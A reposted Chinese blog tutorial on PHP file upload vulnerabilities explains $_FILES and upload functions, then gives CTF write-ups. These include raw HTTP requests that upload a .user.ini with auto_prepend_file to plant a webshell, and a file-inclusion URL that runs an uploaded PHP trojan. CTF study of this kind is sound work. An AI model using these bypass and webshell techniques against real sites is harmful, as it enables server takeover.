广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >PHP文件上传漏洞
  • 337
分享到

PHP文件上传漏洞

php开发语言前端 2023-09-15 22:09:22 337人浏览 泡泡鱼
摘要

前言  上礼拜一直在搞期中测试和unctf,没啥时间整理,这礼拜继续整理! PHP文件上传基础以及基本上传流程 文件上传前端:  前端部分往往都是表单提交,input 的 type 设置为 file

前言

 上礼拜一直在搞期中测试和unctf,没啥时间整理,这礼拜继续整理!

PHP文件上传基础以及基本上传流程

文件上传前端

 前端部分往往都是表单提交,input 的 type 设置为 file 。fORM 表单会有一个 enctype 属性,在文本提交时默认值是"application/x-www-form-urlencoded"。当有文件上传时,值是 “multipart/form-data”。

文件上传后端

$_FILES

php中关于文件上传的一个超全局变量,是一个数组,其包含了所有上传的文件信息

如果上传表单的name属性值为file,即:

<input name="file" type="file" />

$_FILES 数组内容为:

  • $_FILES['file']['name']   上传文件的原文件名

  • $_FILES['file']['type']   文件的MIME类型
    需要浏览器提供该信息的支持,例如”image/gif”

  • $_FILES['file']['size']   已上传文件的大小,单位为字节

  • $_FILES['file']['tmp_name']   文件被上传后在服务端存储的临时文件名, 在请求结束后该临时文件会被删除

  • $_FILES['file']['error']

    和该文件上传相关的错误代码

    • UPLOAD_ERR_OK (0) 文件上传成功
    • UPLOAD_ERR_INI_SIZE (1),上传的文件超过了php.ini
    • upload_max_filesize 选项限制的值
    • UPLOAD_ERR_FORM_SIZE (2), 上传文件的大小超过了html表单中MAX_FILE_SIZE选项指定的值
    • UPLOAD_ERR_PARTIAL (3) ,文件只有部分被上传
    • UPLOAD_ERR_NO_FILE (4) ,没有文件被上传
    • UPLOAD_ERR_NO_TMP_DIR (6) ,找不到临时文件夹
    • UPLOAD_ERR_CANT_WRITE (7) ,文件写入失败

tips: php支持多文件上传,如果有多个文件,则上面的变量将会是一个数组,例如:

<input name="file[]" type="file" /><input name="file[]" type="file" />

则:$_FILES['file']['name'][0] 代表上传的第一个文件的文件名;$_FILES['file']['name'][1]代表上传的第二个文件的文件名

和文件上传相关的一些函数

is_uploaded_file($filename)   判断文件是否是通过Http POST上传的

move_uploaded_file($filename, $destination)   将上传的文件移动到新位置

  • 该函数会检查文件是否是通过http上传(相当于自动调用is_uploaded_file($filename)),如果其返回为true才会将其移动到新位置
  • 若成功,则返回 true,否则返回 false
  • 如果目标文件已经存在,将会被覆盖
  • 移动目的路径所在目录必须存在,此函数不会创建目录

文件上传http包:(中间过程)

 现在我写了个简单的php脚本,让我们抓包看看中间的传递数据的特征,脚本如下:

DOCTYPE html><html><head>    <meta charset="UTF-8"" />       <title>文件上传小测试title>head><body>    <form action='#' enctype='multipart/form-data' method='post' >        <input type='file' name='file' />        <br>        <input type='submit' name='submit' value="提交" />    form>    <hr>body>html>

上传一个简单的木马然后抓包看看。抓到的包如下:

POST /firstdemo/file.php?file=%E5%AD%A6%E4%B9%A0%E9%A1%BA%E5%BA%8F.txt&submit=%E6%8F%90%E4%BA%A4 HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/WEBp,**;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------24060250142092067233788479856Content-Length: 372Origin: http://61.147.171.105:53386Connection: closeReferer: http://61.147.171.105:53386/index.phpUpgrade-Insecure-Requests: 1-----------------------------24060250142092067233788479856Content-Disposition: form-data; name="fileUpload"; filename=".user.ini"Content-Type: image/gifGIF89aauto_prepend_file=1.gif-----------------------------24060250142092067233788479856Content-Disposition: form-data; name="upload"提交-----------------------------24060250142092067233788479856--

在这里注意修改上传文件的Content-Type,只要是能上传的就行,这个对后端解析应该没有影响,接着我们上传 1.gif :

POST /index.php HTTP/1.1Host: 61.147.171.105:53386User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------83647928624379601823415785856Content-Length: 367Origin: http://61.147.171.105:53386Connection: closeReferer: http://61.147.171.105:53386/index.phpUpgrade-Insecure-Requests: 1-----------------------------83647928624379601823415785856Content-Disposition: form-data; name="fileUpload"; filename="1.gif"Content-Type: text/plainGIF89a-----------------------------83647928624379601823415785856Content-Disposition: form-data; name="upload"提交-----------------------------83647928624379601823415785856--

由于.user.ini有个特性:会被动态加载,因此我们就可以直接访问/uploads/index.php,发现1.gif已经被包含进来了,蚁剑直接连接,flag在根目录下。

flag:cyberpeace{93b75be06d39fd5fe532d36e602bcfc8}

3、buu:BUU UPLOAD COURSE 1

 文件上传和文件包含漏洞的结合体。

 一开始以为是图片二次渲染,不管上传什么文件,都会变成jpg后缀的文件,后来验证了一下发现不是,发现有个文件包含:/index.php?file=upload.php,试了一下包含其他文件,发现都不行,纯纯没想法了。

 看了wp,原来就是上传木马后,把jpg文件包含就行…因为之前验证发现上传的文件除了文件名以外不会发生任何改变,因此文件包含之后就可以直接有后门。

payload:

/index.php?file=uploads/638493f180550.jpg   # 后面的就是上传的php木马文件

flag:flag{e52b3267-adf2-488c-b9e1-ef5dc7e72cc0}

参考文章

好文: https://www.cnblogs.com/sherlson/articles/15622018.html

https://lazzzaro.GitHub.io/2020/05/06/web-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/

https://www.anquanke.com/post/id/183046

http://www.bmth666.cn/bmth_blog/2020/10/27/CTF%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%EF%BC%8C%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB

https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

https://xz.aliyun.com/t/2657

来源地址:https://blog.csdn.net/BrosyveryOK/article/details/128085372

--结束END--

本文标题: PHP文件上传漏洞

本文链接: https://www.lsjlt.com/news/409141.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • PHP文件上传漏洞
    前言  上礼拜一直在搞期中测试和unctf,没啥时间整理,这礼拜继续整理! PHP文件上传基础以及基本上传流程 文件上传前端:  前端部分往往都是表单提交,input 的 type 设置为 file ...
    99+
    2023-09-15
    php 开发语言 前端
  • 文件上传漏洞
    目录 前言 1.原理 2.类型 3.复现 3.1环境 3.1.1函数介绍 3.2过程 3.2.1客户端绕过 3.2.2服务端绕过         黑名单检查后缀         白名单检查后缀 前言 文件上传漏洞是wb安全中经常用到的一...
    99+
    2023-09-03
    安全 网络 web安全 php
  • web漏洞之文件上传漏洞
    文章目录 一、漏洞原因二、漏洞危害三、漏洞利用1.三个条件2.利用方式3.绕过方式a.绕过JS验证① BP绕过② F12绕过③ 菜刀上传实操 b.绕过MIME-Type验证c.绕过黑名...
    99+
    2023-08-31
    前端 web安全 网络
  • PHP-nginx-ctfShow文件上传漏洞
    CTFSHOW-文件上传-151到161关卡 151 152-JS验证+MIME Content-Type: image/png 153-JS验证+user.ini https://www.cnblogs.com/N...
    99+
    2023-10-05
    php nginx 安全
  • 文件上传漏洞 (Part1)
    使用的平台是BWAPP 正常的安装完 bwapp ,在文件上传模块能够成功上传文件,但文件却不可以被保存,原因是images文件夹的权限不够,解决方法: docker exec -it 你的do...
    99+
    2023-09-10
    安全 php web安全
  • 浅谈文件上传漏洞
    前言 一、文件上传漏洞的原理 文件上传漏洞是指用户上传了一个可执行的脚本文件(php、jsp、xml、cer等文件),而WEB系统没有进行检测或逻辑做的不够安全。文件上传功能本身没有问题,问题在于...
    99+
    2023-09-10
    php web安全 安全
  • 文件上传漏洞详解
    1.什么是文件上传漏洞 文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本...
    99+
    2023-09-10
    安全 web安全
  • 文件上传漏洞php相关函数
    file_exists(path) 检查文件或目录是否存在。 参数描述path必需。规定要检查的路径。 如果指定的文件或目录存在则返回 TRUE,否则返回 FALSE move_uploaded_file(file,newloc) 把上传...
    99+
    2023-09-03
    php web安全
  • 网站漏洞修复之Metinfo 文件上传漏洞
    Metinfo CMS系统被爆出网站存在漏洞,可上传任意文件到网站根目录下,从而使攻击者可以轻易的获取网站的webshell权限,对网站进行篡改与攻击,目前该网站漏洞影响范围是Metinfo 6.2.0最新版本,以及以前的所有Metinfo...
    99+
    2023-06-03
  • PHP代码审计7—文件上传漏洞
    文章目录 一、文件上传漏洞基础1、漏洞原理2、常见的防御方法与绕过技巧3、近期公布的文件上传漏洞 二、Upload-Labs 部分代码分析1、Pass-4 后缀名黑名单检测2、文件头白名...
    99+
    2023-09-03
    php apache 文件上传 代码审计
  • dvwa中的文件上传漏洞
    环境: Metasploitable2: 192.168.11.157 dvwa版本:Version 1.0.7 (Release date: 08/09/10) kail机器:192.168.11.156 一、什么是文件上传...
    99+
    2023-09-11
    web安全 dvwa 文件上传漏洞 Powered by 金山文档
  • 文件上传漏洞总结(全)
    文件上传漏洞 凡是存在上传文件的地方,都有可能存在文件上传漏洞,并不是说有文件上传就一定有文件上传漏洞。 原理 这主要看一些文件上传的代码有没有 严格限制用户上传的文件类型,比如,只可以上传.jpg|.png|.gif文件,但是由于代码不严...
    99+
    2023-10-06
    php 安全 web安全
  • 文件上传漏洞通关教程
    原理:应用程序中存在上传功能,但是对上传文件没有经过合法性校验或者检验函数存在缺陷,导致攻击者可以上传木马文件到服务器application/octet-stream pass-01:(前端js+抓包) 上传php文件页面提示不允许上传(前...
    99+
    2023-08-31
    javascript php web安全
  • Dcat Admin文件上传漏洞复现
    Dcat Admin框架 Dcat Admin是一个基于laravel-admin二次开发而成的后台系统构建工具,只需极少的代码即可快速构建出一个功能完善的高颜值后台系统。支持页面一键生成CURD代码,内置丰富的后台常用组件,开箱即用,...
    99+
    2023-09-07
    安全 web安全
  • 【文件上传漏洞】user.ini留后门
    一、什么是.user.ini? php.ini是php默认的配置文件。其中包含四种配置, 在PHP_INI_USER的配置项中,提到.user.ini。 这里作用解释如下: 除了主 php.ini 之外,PHP 还会在每个目录下扫描 ...
    99+
    2023-09-03
    php 开发语言
  • 文件上传靶场-Nginx文件解析漏洞
    目录 1.靶场漏洞说明 2.漏洞利用过程 1.靶场漏洞说明 靶场地址:http://106.15.50.112:8020/ 一个简单的Nginx文件上传靶场,php配置中将cgi.fix_pathinfo设置为1,如果我们设置一个文件路径...
    99+
    2023-09-25
    php web安全 nginx 网络安全 学习
  • java文件上传漏洞怎么解决
    要解决Java文件上传漏洞,可以采取以下措施: 文件类型白名单过滤:在服务器端对文件上传请求进行检查,确保只接受预期的文件类型。...
    99+
    2023-10-27
    java
  • 任意文件上传漏洞(CVE-2018-2894)
    漏洞描述 Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Te...
    99+
    2023-09-24
    php java 网络安全
  • 网络安全之文件上传漏洞
    目录 一.文件上传漏洞原理🐱‍🏍🐱‍🏍🐱‍🏍 1.文件上传功能 2.一句话木马 二Webshell介绍☠☠☠ 1.一句话木马的特点 2.小马 3...
    99+
    2023-09-14
    php 安全 web安全 文件上传 网络安全
  • 文件上传漏洞(全网最详细)
    目录 前言 文件上传漏洞介绍 文件上传漏洞危害 文件上传漏洞满足条件 文件检测流程 CTFSHOW 151关-170关 151关:前端验证绕过 152关:后端校验 Content-Type 校验文件格式 153关:filename字段文件...
    99+
    2023-10-10
    安全 web安全 php
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作